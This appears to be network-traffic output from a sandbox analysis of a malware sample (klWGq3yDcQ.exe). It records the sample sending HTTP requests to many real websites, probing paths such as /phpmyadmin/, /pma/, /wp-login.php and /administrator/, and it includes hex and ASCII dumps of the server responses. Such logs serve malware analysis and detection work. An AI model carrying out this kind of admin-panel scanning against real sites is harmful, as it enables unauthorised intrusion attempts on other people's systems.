31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 62 6f 64 79 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 65 65 3b 0a 7d 0a 0a 62 6f 64 79 2c 20 68 31 2c 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 53 65 67 6f 65 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 20 61 75 74 6f 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 37 37 70 78 3b 0a 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 31 37 30 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 31 35 70 78 3b 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 72 6f 77 3a 62 65 66 6f 72 65 2c 20 2e 72 6f 77 3a 61 66 74 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 62 6c 65 3b 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 20 22 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 36 20 7b 0a 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 7d 0a 0a 2e 63 6f 6c 2d 6d 64 2d 70 75 73 68 2d 33 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 32 35 25 3b 0a 7d 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 38 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 32 30 70 78 20 30 3b 0a 7d 0a 0a 2e 6c 65 61 64 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 31 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 32 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 7d 0a 0a 70 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 30 70 78 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 33 32 38 32 65 36 3b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 20 74 65 Data Ascii: <!DOCTYPE html><html><head><title>File Not Found</title><meta http-equiv="content-type" content="text/html; charset=utf-8" ><meta name="viewport" content="width=device-width, initial-scale=1.0"><style type="text/css">body { background-color: #eee;}body, h1, p { font-family: "Helvetica Neue", "Segoe UI", Segoe, Helvetica, Arial, "Lucida Grande", sans-serif; font-weight: normal; margin: 0; padding: 0; text-align: center;}.container { margin-left: auto; margin-right: auto; margin-top: 177px; max-width: 1170px; padding-right: 15px; padding-left: 15px;}.row:before, .row:after { display: table; content: " ";}.col-md-6 { width: 50%;}.col-md-push-3 { margin-left: 25%;}h1 { font-size: 48px; font-weight: 300; margin: 0 0 20px 0;}.lead { font-size: 21px; font-weight: 200; margin-bottom: 20px;}p { margin: 0 0 10px;}a { color: #3282e6; text-decoration: none;}</style></head><body><div class="container te
Nov 26, 2023 06:59:32.698527098 CET	758	IN	Data Raw: 78 74 2d 63 65 6e 74 65 72 22 20 69 64 3d 22 65 72 72 6f 72 22 3e 0a 20 20 3c 73 76 67 20 68 65 69 67 68 74 3d 22 31 30 30 22 20 77 69 64 74 68 3d 22 31 30 30 22 3e 0a 20 20 20 20 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 35 30 2c 32 35 Data Ascii: xt-center" id="error"> <svg height="100" width="100"> <polygon points="50,25 17,80 82,80" stroke-linejoin="round" style="fill:none;stroke:#ff8a00;stroke-width:8" /> <text x="42" y="74" fill="#ff8a00" font-family="sans-serif" font-wei
Nov 26, 2023 06:59:32.699909925 CET	272	OUT	GET /wp-admin/ HTTP/1.1 Host: octetpowers.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://octetpowers.in/wp-login.php

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	56830	192.124.249.13	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.376838923 CET	229	OUT	GET /phpmyadmin/ HTTP/1.1 Host: coimbrausa.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	56785	34.136.104.255	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.376970053 CET	228	OUT	GET /phpmyadmin/ HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.516071081 CET	372	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	56637	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.380707979 CET	225	OUT	GET /phpmyadmin/ HTTP/1.1 Host: digdig.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.640197039 CET	489	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.16 Content-Length: 209 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /phpmyadmin/ was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	56774	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.386612892 CET	236	OUT	GET /wp-login.php HTTP/1.1 Host: locandafrancigena.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.569340944 CET	609	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding SG-Captcha: challenge Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store,no-cache,max-age=0 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 61 39 0d 0a 1f 8b 08 00 00 00 00 00 04 03 25 8e 4d 0e 83 20 18 44 af 42 48 da 9d 80 d6 88 3f 60 77 bd 07 41 14 23 22 c5 cf 9a de be b4 5d 4c 66 31 93 bc 27 2c ac ae 17 d6 a8 a1 17 6e f6 0b 8a c6 49 3c eb cd 63 64 a3 19 25 1e 14 a8 b6 c3 bd 58 0d 28 64 01 42 66 9e c7 fc 92 38 cd d1 ec 16 a3 f4 06 e3 41 62 d6 51 72 1a e7 b2 c5 6f a7 a7 fb a4 55 00 6d 15 bd 47 79 29 1e 67 c8 dc 36 cd 9e 04 1b ae 6f 39 1e ba ad 1b 92 97 29 35 a9 58 9b 73 c6 1a 5e df 78 41 ca 8a 27 24 fd 32 53 fd fd e8 4f f6 03 88 cf 83 fc b3 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a9%M DBH?`wA#"]Lf1',nI<cd%X(dBf8AbQroUmGy)g6o9)5Xs^xA'$2SO0
Nov 26, 2023 06:59:32.572623014 CET	284	OUT	GET /wp-admin/ HTTP/1.1 Host: locandafrancigena.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://locandafrancigena.it/wp-login.php
Nov 26, 2023 06:59:32.755048990 CET	608	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding SG-Captcha: challenge Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store,no-cache,max-age=0 Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1 Content-Encoding: gzip Data Raw: 61 38 0d 0a 1f 8b 08 00 00 00 00 00 04 03 25 8e 4d 0e 83 20 14 84 af 62 48 da 9d 80 da fa 0b 76 d7 7b 10 7c 16 22 a2 c5 67 4d 6f 5f da 2e 26 33 c9 4c f2 8d 30 38 bb 5e 18 50 43 2f 9c f5 53 12 c0 49 62 f5 e2 49 62 02 8c 92 0c 0a 55 db 91 5e cc 80 2a 31 88 6b 0a cf dd be 24 89 75 80 cd 90 24 ae 11 3c 4a c2 3b 46 0f 70 2e 9d fc 72 78 b6 3d b4 5a 51 1b c5 6e 41 9e f2 fb b1 a6 6a 98 ad 8f f1 fc 96 e3 ae db ba a1 d9 25 aa a6 25 6f b3 8a f3 a6 aa 8b 2a a7 e5 b5 88 44 f6 45 46 fb df 63 bf af 1f 03 6c 6e 64 b2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a8%M bHv{\|"gMo_.&3L08^PC/SIbIbU^1k$u$<J;Fp.rx=ZQnAj%%oDEFclnd0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	56806	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.393627882 CET	227	OUT	GET /pma/ HTTP/1.1 Host: rochester-gauges.be Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.565843105 CET	546	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Sun, 26 Nov 2023 05:55:03 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	56739	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.403398991 CET	233	OUT	GET /phpmyadmin/ HTTP/1.1 Host: awb-apparatebau.de Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.604788065 CET	409	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache/2.4.58 (Unix) Content-Length: 196 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	57009	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.411540985 CET	278	OUT	GET /administrator/?subid1=20231126-1659-31c6-9eaf-33ea7517d5af HTTP/1.1 Host: ww38.ondania.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.656681061 CET	1340	IN	HTTP/1.1 200 OK Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Vary: Accept-Encoding X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_AXzyiW0Azd+saLIWhDHSyYHSDTdXRY0d33+V2+xgLcsL5JBMok43aPUfTy8p6BpaxryMcSagiAb36C1wRUMovg== Accept-CH: viewport-width Accept-CH: dpr Accept-CH: device-memory Accept-CH: rtt Accept-CH: downlink Accept-CH: ect Accept-CH: ua Accept-CH: ua-full-version Accept-CH: ua-platform Accept-CH: ua-platform-version Accept-CH: ua-arch Accept-CH: ua-model Accept-CH: ua-mobile Accept-CH-Lifetime: 30 X-Domain: ondania.com X-Subdomain: ww38 Content-Encoding: gzip Data Raw: 31 37 34 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 5c 5b 77 da c8 b2 7e 8e 7f 85 c2 ac 6d f0 09 37 81 f1 5d ce c1 c1 8e ed 09 38 b6 f1 05 67 cd c9 12 52 03 32 42 62 24 61 c0 d9 f9 ef e7 ab ee d6 0d 70 32 c9 9e c9 d3 26 09 a0 ee ea ae aa ae 4b 57 55 37 39 78 dd b8 78 d7 ee 7c 3c 56 06 c1 c8 3e 5c 3b a0 0f c5 d4 03 bd a0 9b 5d db 35 86 43 36 d7 32 cd 93 e9 b4 71 d9 39 ff dd 7d 38 1b 3c 19 ad fa e5 f1 d1 d1 65 bd 71 3d ad 4f af eb e7 47 f5 0f 7f 4e 1a 27 c7 ed fb 2b a7 7c ea 95 6b bd 9b 8f db c7 e7 ed ed ed 59 c7 f9 38 ba ea 8e 9b f3 cd a7 e1 ce ef 1d eb d4 19 b6 c6 cc 74 1e 2f ea ad 73 43 bf 6f dc 1b bf 5f 9e b7 ca ce fd ef 0f e7 1f b6 db 86 75 de d8 a9 bb a7 f7 bf ab b5 9d 77 f5 e9 71 bd 7e a9 69 9f eb f7 cf 73 eb ae 5c 7f 36 df f8 fa 87 b3 bb 41 e3 f4 7a de 39 bd 6e b4 cd fb ab 4e d9 ac 56 df dc 56 de cc fa 1f 0c ff 43 ed fc a8 e9 0e 37 ab fa c7 9b 5e 7b be 33 de 3a 1a eb 33 6f de 34 ae f5 be 55 ef 56 b7 de a9 d3 ab 9b a6 fb d4 d7 b4 8c 32 1b d9 8e af 65 06 41 30 de 2b 95 a6 d3 69 71 5a 2d ba 5e bf a4 ee ee ee 96 66 b4 1e 1c 68 cf d6 9d be 96 61 4e 46 89 be d1 7a 31 dd 3c 5c 53 f0 3a 18 b1 40 c7 32 06 e3 02 fb 73 62 3d 69 99 77 ae 13 30 27 28 b4 e7 63 96 51 0c f1 a4 65 02 36 0b 4a 34 ef be 62 0c 74 cf 67 81 36 09 7a 85 9d 4c 29 39 91 a3 8f 98 96 79 b2 d8 74 ec 7a 41 62 f8 d4 32 83 81 66 b2 27 cb 60 05 fe 90 57 2c c7 0a 2c dd 2e f8 86 6e 33 4d cd 2b fe c0 b3 9c 61 21 70 0b 3d 2b d0 1c 37 9a 3b b0 02 9b 1d ba 8e a9 3b 96 5e 34 dc d1 41 49 34 09 1e 7c c3 Data Ascii: 174b\[w~m7]8gR2Bb$ap2&KWU79xx\|<V>\;]5C62q9}8<eq=OGN'+\|kY8t/sCo_uwq~is\6Az9nNVVC7^{3:3o4UV2eA0+iqZ-^fhaNFz1<\S:@2sb=iw0'(cQe6J4btg6zL)9ytzAb2f'`W,,.n3M+a!p=+7;;^4AI4\|
Nov 26, 2023 06:59:32.656749964 CET	1340	IN	Data Raw: b3 c6 81 e2 7b 86 96 11 ab d1 77 dd be cd 08 b2 a4 9b 3e 73 7c 56 32 dd 91 6e 39 7e c9 d0 7b c5 47 ff ad de 1d 6b 6a e6 f0 a0 24 06 1f f2 c5 f0 83 b9 cd 94 11 33 2d 5d cb a0 83 61 e1 0e d7 8a ba 0f 76 3f fb 81 ee 95 95 2f 6b af ba ba 31 ec 7b ee Data Ascii: {w>s\|V2n9~{Gkj$3-]av?/k1{1gYchyXR0`#4~S[(yk)ju<YA4-l=m9}ZHo"R'<<auDX7M<)--lyWz^_h@~
Nov 26, 2023 06:59:32.656764030 CET	1340	IN	Data Raw: b1 45 ac ad ad bd 3a 10 46 20 92 52 99 a7 1b 45 0a 81 90 30 20 b3 9c f2 cc 50 00 21 27 a4 1d 01 f6 30 42 6a 9a 51 02 a4 de 32 e3 7e d4 9f 74 01 94 c8 55 a5 0a 91 b2 45 d4 c2 d4 84 46 c5 2d 87 6b af 5e bd 3a 40 76 ef b1 9e a8 15 f8 b2 58 a0 77 b1 Data Ascii: E:F RE0 P!'0BjQ2~tUEF-k^:@vXw0drJ5h@?0tH,'MnCh2WXC/VPV@[a$D7$_I0*Yh3"&j)'8JRU9m[LW2'f9![}
Nov 26, 2023 06:59:32.656776905 CET	1340	IN	Data Raw: 7e ad 69 e1 57 a4 e5 4a b2 ab c8 e3 bf b0 b7 38 f6 dc c0 85 4d 2a 6f 14 1c 5c 64 f1 11 75 0d 5c 3f 48 3e 8f 41 2a e5 74 68 cb 45 40 42 51 95 b7 f1 30 d9 82 f9 d6 b3 0a ec fa 2d 0a 5e 78 f8 3c d3 7b 4f 9e d6 1a 9d 4d 49 55 5a 95 cb ca c3 e3 09 14 Data Ascii: ~iWJ8Mo\du\?H>AthE@BQ0-^x<{OMIUZ<KKg<]@<j};IXP?9\##"@EjJX\|MlGs0'1x=3cJQUBpVGPz\|gKo_G>e
Nov 26, 2023 06:59:32.656789064 CET	1340	IN	Data Raw: b9 49 59 cf fa 75 8c 73 2a 7e 9a e5 38 dc 5c 66 97 a7 68 89 2d 32 e6 97 f7 40 9d c1 f0 2f e7 17 a7 d7 ff 19 cb b1 94 51 c6 2e 14 14 71 c9 14 86 c9 cf f4 52 2a b0 10 e2 2c 0a 35 b1 71 f5 60 1c 8b dd a4 57 ff 9c c2 13 c6 75 7a 7b c9 5f 48 9f 29 28 Data Ascii: IYus~8\fh-2@/Q.qR,5q`Wuz{_H)(*4}=%_=Ng8 0xinob>\|LK0a?'Llgm_g^!%vq3POuRl# U2Rr>a=5r
Nov 26, 2023 06:59:32.656801939 CET	389	IN	Data Raw: 0f 89 a9 b6 48 d3 c9 c6 03 0d 77 5f 56 d6 fb c3 d1 08 55 e8 17 87 b8 45 33 0b 8a b8 a5 30 02 75 74 0c 98 4d c5 b9 02 a3 78 4f 06 8e c9 76 21 d0 25 a9 e2 cc dc 77 71 1f c2 76 fb b9 c4 3d 0b c1 73 8c 7b e1 74 75 65 5d 85 b0 25 a7 cb b6 71 78 c7 10 Data Ascii: Hw_VUE30utMxOv!%wqv=s{tue]%qx]8)00Of/S~-N%H'@mUMzF52@)pR*m.J?z"aHNY.^7w[NNVmjXS7K?)mSZ
Nov 26, 2023 06:59:32.656811953 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Nov 26, 2023 06:59:32.671961069 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	56638	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.420272112 CET	228	OUT	GET /phpmyadmin/ HTTP/1.1 Host: srmist.edu.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.723372936 CET	1340	IN	HTTP/1.1 405 Not Allowed Server: awselb/2.0 Date: Sun, 26 Nov 2023 05:59:32 GMT Content-Length: 2051 Connection: keep-alive x-amzn-waf-action: captcha Cache-Control: no-store, max-age=0 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 48 75 6d 61 6e 20 56 65 72 69 66 69 63 61 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 41 72 69 61 6c 22 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 77 73 57 61 66 43 6f 6f 6b 69 65 44 6f 6d 61 69 6e 4c 69 73 74 20 3d 20 5b 5d 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 67 6f 6b 75 50 72 6f 70 73 20 3d 20 7b 0a 22 6b 65 79 22 3a 22 41 51 49 44 41 48 6a 63 59 75 2f 47 6a 58 2b 51 6c 67 68 69 63 42 67 51 2f 37 62 46 61 51 5a 2b 6d 35 46 4b 43 4d 44 6e 4f 2b 76 54 62 4e 67 39 36 41 46 34 6e 42 4c 62 4c 41 66 34 42 63 63 58 76 47 4c 61 46 43 62 69 41 41 41 41 66 6a 42 38 42 67 6b 71 68 6b 69 47 39 77 30 42 42 77 61 67 62 7a 42 74 41 67 45 41 4d 47 67 47 43 53 71 47 53 49 62 33 44 51 45 48 41 54 41 65 42 67 6c 67 68 6b 67 42 5a 51 4d 45 41 53 34 77 45 51 51 4d 33 6a 7a 69 7a 57 69 33 7a 5a 65 49 65 73 63 49 41 67 45 51 67 44 74 6d 54 4c 35 56 5a 2f 62 41 50 6a 55 5a 47 47 4d 76 6e 48 70 35 75 72 49 71 64 4f 43 6e 43 6b 31 64 57 6b 77 4e 6c 64 67 6b 56 46 75 73 63 57 76 46 2b 76 56 31 2f 72 79 4e 57 4a 6d 45 63 74 4d 56 31 61 70 56 53 55 72 6b 63 39 39 35 30 51 3d 3d 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 69 76 22 3a 22 43 67 41 45 63 41 79 36 30 5a 41 41 41 6b 6b 67 22 2c 0a 20 20 20 20 20 20 20 20 20 20 22 63 6f 6e 74 65 78 74 22 3a 22 45 78 6d 6d 53 38 48 4c 52 79 64 49 45 53 75 6c 43 6f 33 30 47 77 5a 62 68 64 70 46 42 46 75 42 59 48 42 30 70 53 47 6d 4c 63 7a 78 55 4d 66 65 4d 36 47 4b 7a 34 56 51 4f 49 55 79 54 4c 79 78 39 55 56 72 4b 74 4b 62 78 37 4d 37 79 6f 39 